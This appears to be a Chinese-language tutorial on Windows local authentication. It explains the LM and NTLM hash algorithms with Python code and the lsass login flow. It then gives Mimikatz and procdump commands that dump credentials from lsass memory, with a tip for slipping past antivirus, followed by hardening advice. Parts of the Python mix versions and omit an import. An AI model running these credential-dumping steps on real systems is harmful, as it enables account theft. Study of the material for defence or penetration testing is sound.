由Windows本地认证到Hash抓取
字数 1430 2025-08-20 18:17:41

Windows本地认证与Hash抓取技术详解

一、Windows密码存储机制

Windows系统的本地登陆密码存储在%SystemRoot%\system32\config\目录下的SAM文件中,存储的内容是密码的哈希值而非明文。当用户输入密码时,系统会先将用户输入通过特定算法加密,再与SAM文件中存储的哈希值进行比对,一致则认证成功。

Windows系统使用两种密码哈希算法:

  1. LM Hash(LAN Manager Hash) - 较老的算法,基本已淘汰
  2. NTLM Hash(NT LAN Manager Hash) - 当前主流使用的算法

二、LM Hash算法详解

算法特点

  • 主要用于Windows XP/2000/2003等老系统
  • 密码不区分大小写(全部转为大写)
  • 最大只支持14个字符的密码
  • 安全性较低,容易受到彩虹表攻击

算法步骤

  1. 将密码转换为大写,并转换为16进制字符串
  2. 密码不足28位(14字符),用0在右边补全
  3. 28位的密码分成两个14位部分
  4. 每部分分别转换成56位比特流,不足用0在左边补齐
  5. 两组分别再分为7位一组,每组末尾加0,组合成新字符
  6. 将新字符转为16进制
  7. 两组16进制数分别作为DES密钥,加密固定字符串"KGS!@#$%"
  8. 将两组DES加密结果拼接,得到最终的LM Hash

Python实现代码

import binascii
import codecs
from pyDes import *

def DesEncrypt(str, Key):
    k = des(Key, ECB, pad=None)
    EncryptStr = k.encrypt(str)
    return binascii.b2a_hex(EncryptStr)

def ZeroPadding(str):
    b = []
    l = len(str)
    num = 0
    for n in range(l):
        if (num < 8) and n % 7 == 0:
            b.append(str[n:n+7] + '0')
            num = num + 1
    return ''.join(b)

if __name__ == "__main__":
    passwd = sys.argv[1]
    print('你的输入是:', passwd)
    print('转化为大写:', passwd.upper())
    
    # 转换为大写并转为16进制
    passwd = codecs.encode(passwd.upper().encode(), 'hex_codec')
    print('转为hex:', passwd.decode())
    
    # 补全28位
    passwd_len = len(passwd)
    if passwd_len < 28:
        passwd = passwd.decode().ljust(28, '0')
    print('补齐28位:', passwd)
    
    # 分成两部分
    PartOne = passwd[0:14]
    PartTwo = passwd[14:]
    print('两组14位的部分:', PartOne, PartTwo)
    
    # 转为56位比特流
    PartOne = bin(int(PartOne, 16)).lstrip('0b').rjust(56, '0')
    PartTwo = bin(int(PartTwo, 16)).lstrip('0b').rjust(56, '0')
    print('两组56位比特流:', PartOne, PartTwo)
    
    # 7位一组末尾加0
    PartOne = ZeroPadding(PartOne)
    PartTwo = ZeroPadding(PartTwo)
    print('两组再7位一组末尾加0:', PartOne, PartTwo)
    
    # 转为hex
    PartOne = hex(int(PartOne, 2))[2:]
    PartTwo = hex(int(PartTwo, 2))[2:]
    if '0' == PartTwo:
        PartTwo = "0000000000000000"
    print('两组转为hex:', PartOne, PartTwo)
    
    # DES加密
    LMOne = DesEncrypt("KGS!@#$%", binascii.a2b_hex(PartOne)).decode()
    LMTwo = DesEncrypt("KGS!@#$%", binascii.a2b_hex(PartTwo)).decode()
    print('两组DES加密结果:', LMOne, LMTwo)
    
    # 拼接得到LM Hash
    LM = LMOne + LMTwo
    print('LM hash:', LM)

LM Hash缺陷

  1. 密码不区分大小写(全部转为大写处理)
  2. 密码长度最大只能为14个字符
  3. 当密码不超过7位时,生成的LM Hash后半部分固定为aad3b435b51404ee
  4. 哈希没有加盐,容易受到彩虹表攻击

三、NTLM Hash算法详解

算法特点

  • 当前Windows系统主流使用的算法
  • 安全性高于LM Hash
  • 支持更长的密码长度
  • 区分大小写

算法步骤

  1. 将用户输入转为16进制
  2. 进行Unicode编码
  3. 调用MD4算法进行加密

Python实现代码

# coding=utf-8
import codecs
import sys
from Crypto.Hash import MD4

def UnicodeEncode(str):
    b = []
    l = int(len(str)/2)
    for i in range(l):
        b.append((str[i*2:2*i+2])+'00')
    return ''.join(b)

def Md4Encode(str):
    h = MD4.new()
    h.update(str.decode('hex'))
    return h.hexdigest()

if __name__ == '__main__':
    passwd = sys.argv[1]
    print('Input: ' + passwd)
    
    # 转hex
    passwd = codecs.encode(passwd.encode(), 'hex_codec').decode()
    print('Hex: ' + passwd)
    
    # 转Unicode
    passwd = UnicodeEncode(passwd)
    print('Unicode: ' + passwd)
    
    # 转md4
    NTLMhash = Md4Encode(passwd)
    print('NTLMhash: ' + NTLMhash)

更简洁的实现方式:

import hashlib, binascii, sys
print binascii.hexlify(hashlib.new("md4", sys.argv[1].encode("utf-16le")).digest())

示例:字符串"admin"的NTLM Hash为209c6174da490caeb422f3fa5a7ae634

四、Windows本地认证流程

  1. 用户通过winlogon.exe输入密码
  2. lsass.exe进程接收密码明文,存储在内存中
  3. lsass.exe将密码加密为NTLM Hash
  4. 与SAM文件中存储的哈希值进行比对
  5. 相同则认证成功,不同则认证失败

流程图:

[winlogon.exe] → (User input) → [lsass.exe] → {转为NTLM hash与SAM文件对比}
    ↓
    |相等| → (认证成功)
    |不相等| → (认证失败)

五、Hash抓取技术

1. 直接使用Mimikatz读取

Mimikatz可以直接从lsass.exe进程内存中读取密码哈希和明文密码:

mimikatz.exe
privilege::debug
sekurlsa::logonPasswords full
exit

2. Procdump+Mimikatz组合技术

由于直接使用Mimikatz可能被安全软件拦截,可以采用以下方法:

  1. 使用Procdump工具导出lsass.exe内存转储:
procdump64.exe -accepteula -ma lsass.exe lsass.dump
  1. 将转储文件拉到没有杀毒软件的机器上,使用Mimikatz分析:
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
exit

六、安全建议

  1. 禁用LM Hash(在组策略中设置"网络安全:不要在下次更改密码时存储LAN Manager哈希值")
  2. 使用长且复杂的密码
  3. 定期更换密码
  4. 启用Credential Guard等安全功能
  5. 监控lsass.exe进程的异常访问行为

七、总结

本文详细介绍了Windows系统的两种密码哈希算法(LM Hash和NTLM Hash)及其实现原理,分析了Windows本地认证流程,并讲解了使用Mimikatz工具抓取密码哈希的技术方法。理解这些原理对于系统安全加固和渗透测试都具有重要意义。

Windows本地认证与Hash抓取技术详解 一、Windows密码存储机制 Windows系统的本地登陆密码存储在 %SystemRoot%\system32\config\ 目录下的SAM文件中,存储的内容是密码的哈希值而非明文。当用户输入密码时,系统会先将用户输入通过特定算法加密,再与SAM文件中存储的哈希值进行比对,一致则认证成功。 Windows系统使用两种密码哈希算法: LM Hash(LAN Manager Hash) - 较老的算法,基本已淘汰 NTLM Hash(NT LAN Manager Hash) - 当前主流使用的算法 二、LM Hash算法详解 算法特点 主要用于Windows XP/2000/2003等老系统 密码不区分大小写(全部转为大写) 最大只支持14个字符的密码 安全性较低,容易受到彩虹表攻击 算法步骤 将密码转换为大写,并转换为16进制字符串 密码不足28位(14字符),用0在右边补全 28位的密码分成两个14位部分 每部分分别转换成56位比特流,不足用0在左边补齐 两组分别再分为7位一组,每组末尾加0,组合成新字符 将新字符转为16进制 两组16进制数分别作为DES密钥,加密固定字符串"KGS !@#$%" 将两组DES加密结果拼接,得到最终的LM Hash Python实现代码 LM Hash缺陷 密码不区分大小写(全部转为大写处理) 密码长度最大只能为14个字符 当密码不超过7位时,生成的LM Hash后半部分固定为 aad3b435b51404ee 哈希没有加盐,容易受到彩虹表攻击 三、NTLM Hash算法详解 算法特点 当前Windows系统主流使用的算法 安全性高于LM Hash 支持更长的密码长度 区分大小写 算法步骤 将用户输入转为16进制 进行Unicode编码 调用MD4算法进行加密 Python实现代码 更简洁的实现方式: 示例:字符串"admin"的NTLM Hash为 209c6174da490caeb422f3fa5a7ae634 四、Windows本地认证流程 用户通过winlogon.exe输入密码 lsass.exe进程接收密码明文,存储在内存中 lsass.exe将密码加密为NTLM Hash 与SAM文件中存储的哈希值进行比对 相同则认证成功,不同则认证失败 流程图: 五、Hash抓取技术 1. 直接使用Mimikatz读取 Mimikatz可以直接从lsass.exe进程内存中读取密码哈希和明文密码: 2. Procdump+Mimikatz组合技术 由于直接使用Mimikatz可能被安全软件拦截,可以采用以下方法: 使用Procdump工具导出lsass.exe内存转储: 将转储文件拉到没有杀毒软件的机器上,使用Mimikatz分析: 六、安全建议 禁用LM Hash(在组策略中设置"网络安全:不要在下次更改密码时存储LAN Manager哈希值") 使用长且复杂的密码 定期更换密码 启用Credential Guard等安全功能 监控lsass.exe进程的异常访问行为 七、总结 本文详细介绍了Windows系统的两种密码哈希算法(LM Hash和NTLM Hash)及其实现原理,分析了Windows本地认证流程,并讲解了使用Mimikatz工具抓取密码哈希的技术方法。理解这些原理对于系统安全加固和渗透测试都具有重要意义。